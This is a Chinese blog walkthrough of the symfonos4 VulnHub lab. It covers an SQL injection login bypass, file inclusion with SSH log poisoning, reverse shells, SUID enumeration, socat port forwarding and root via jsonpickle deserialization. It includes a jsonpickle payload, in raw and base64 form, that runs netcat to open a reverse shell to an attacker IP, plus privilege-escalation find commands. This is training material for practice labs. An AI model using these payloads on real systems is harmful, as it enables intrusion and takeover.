symfons4靶场-sql+文件包含+ssh反弹shell+端口转发+python提权

靶场:symfonos4

下载地址:https://www.vulnhub.com/entry/symfonos-4,347/

环境:VirtualBox

  1. Nmap探测存活主机,arp-scan探测也可以

  1. 探测开放端口:

  1. 扫描目录,发现登录页面:

  1. 访问是登录界面,先尝试弱口令,再尝试万能密码成功登录:

  1. 发现可能存在文件包含:

  1. 发现包含的为这三个文件:

  1. 尝试查看/etc/passwd,空白页面,再尝试看一下,ssh的日志文件:

  1. 尝试ssh日志文件,反弹shell

  1. 尝试反弹shell:kali先监听,再执行

  1. 发现权限为普通权限,尝试提权:

find / -user root -perm -4000 -print 2>/dev/null //查找suid

find / -perm -4000 2>dev/null | xargs ls -la //查找suid并详细展示

find / -writable -type d 2>/dev/null //查找当前权限可写的路径

find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null //查找777文件

find / -writable -type f 2>/dev/null | grep -v "/proc/" |xargs ls -al |grep root //查找写权限文件

没有发现什么有用的信息:

  1. 查看下进程:

先python反弹一个本地shell出来,好操作一点:

python -c "import pty;pty.spawn('/bin/bash');"

  1. 查看进程,netstat不能用,可以用ps -aux | root ,也可以用ss -tulpn:发现8080不对外开放,而且是root运行的。

  1. 查看一下/usr/local/bin/gunicorn看看:

  1. 端口转发出来,看看是什么:存在socat工具

socat TCP-LISTEN:8000,fork TCP:127.0.0.1:8080

  1. 抓包查看一下:发现username是base64加密,解密看看

  1. 网上查找,这存在漏洞,可以执行系统命令:

参考:https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/

  1. 尝试:

{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["nc -e /bin/bash 172.168.70.100 7777"]}, null, null, null]}

加密:

eyJweS9vYmplY3QiOiAiX19tYWluX18uU2hlbGwiLCAicHkvcmVkdWNlIjogW3sicHkvdHlwZSI6ICJvcy5zeXN0ZW0ifSwgeyJweS90dXBsZSI6IFsibmMgLWUgL2Jpbi9iYXNoIDE3Mi4xNjguNzAuMTAwIDc3NzciXX0sIG51bGwsIG51bGwsIG51bGxdfQ==

  1. 执行命令,反弹连接:

posted @ 2023-06-25 22:37  光丶暗  阅读(44)  评论(0)    收藏  举报